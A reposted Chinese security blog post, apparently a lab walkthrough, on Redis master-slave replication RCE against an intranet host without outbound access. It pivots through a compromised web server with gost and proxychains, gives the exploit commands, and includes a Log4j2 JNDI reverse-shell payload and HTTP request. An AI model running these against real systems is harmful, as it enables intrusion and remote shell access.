现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队“设为星标”,否则可能就看不到了啦!
Part1漏洞原理
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
Part2环境搭建
公网IP:xxx.xxx.xxx.xxx
web跳板机IP(内网) windwos2012 : 172.16.0.24
redis:172.16.0.35
web当跳板机,我们这里直接当成已经拿下了web服务器,所以web服务器我们直接架个nps就可以
环境:外网 -> web -> 内网(不出网)
redis 我就打算用vulhub上的redis靶场
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum makecache fast -y
yum install docker-ce docker-ce-cli containerd.io -y
systemctl start docker
sudo curl -L https://ghproxy.com/https://github.com/docker/compose/releases/download/1.16.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
systemctl start docker
yum install git -y
git clone https://ghproxy.com/https://github.com/vulhub/vulhub.git
redis在公网部署的情况下打主从
直接使用
https://github.com/vulhub/redis-rogue-getshell
直接打即可
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
Part3redis在内网中不出网的情况
目前情况:
目标172.16.0.35不出网 跳板机172.16.0.24出网但是没有公网ip 然后我们的工具在vps 服务器xxx.xxx.xxx.xxx上
主从复制要求我们vps开启一个端口让redis加载恶意exp.so ,但是redis不出网 也就没办法直接指定vps了
方案:
使用跳板机172.16.0.24 在上面开启端口转发
把跳板机一个端口映射到vps上
例如:
redis(172.16.0.35) -> 172.16.0.24:2222 -> xxx.xxx.xxx.xxx:2222
socks5代理:
在web入口机上创建npc连接
这里搭建socks5代理 配合上 proxychains4 就可以直接在vps上运行socks5代理了
proxychains4 centos7上安装方法:
yum install epel-release
yum install -y proxychains-ng
vi /etc/proxychains.conf
# 将socks4 127.0.0.1 9095改为
socks5 127.0.0.1 45125
端口转发:
这里我直接用gost
https://github.com/ginuerzh/gost
gost-windows-amd64.exe -L=rtcp://:2222/xxx.xxx.xxx.xxx:2222
访问本地 http://127.0.0.1:2222 成功读取到转发请求
在vps上nc监听下2222
成功读取到了信息 理论上这样子就可以了
测试exp
proxychains4 python3 redis-master.py -r 172.16.0.35 -p 6379 -L 172.16.0.24 -P 2222 -f RedisModulesSDK/exp.so -c "id"
Part4适用于其他漏洞
比如 log4j2的
一样是用vulhub的靶场
要用到1389 和 8080 还有就是反弹shell的 2222(前面有映射了 懒得改了)
gost-windows-amd64.exe -L=rtcp://:1389/xxx.xxx.xxx.xxx:1389
gost-windows-amd64.exe -L=rtcp://:8080/xxx.xxx.xxx.xxx:8080
然后就是跑exp了
vps开nc
exp使用: JNDIExploit-1.2-SNAPSHOT.jar
${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222}
# 后面的2222是nc的端口
GET /solr/admin/cores?action=${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
快速获得了shell
也显示了流量来源
★
原文始发于微信公众号(渗透安全团队):不出网Redis主从复制RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论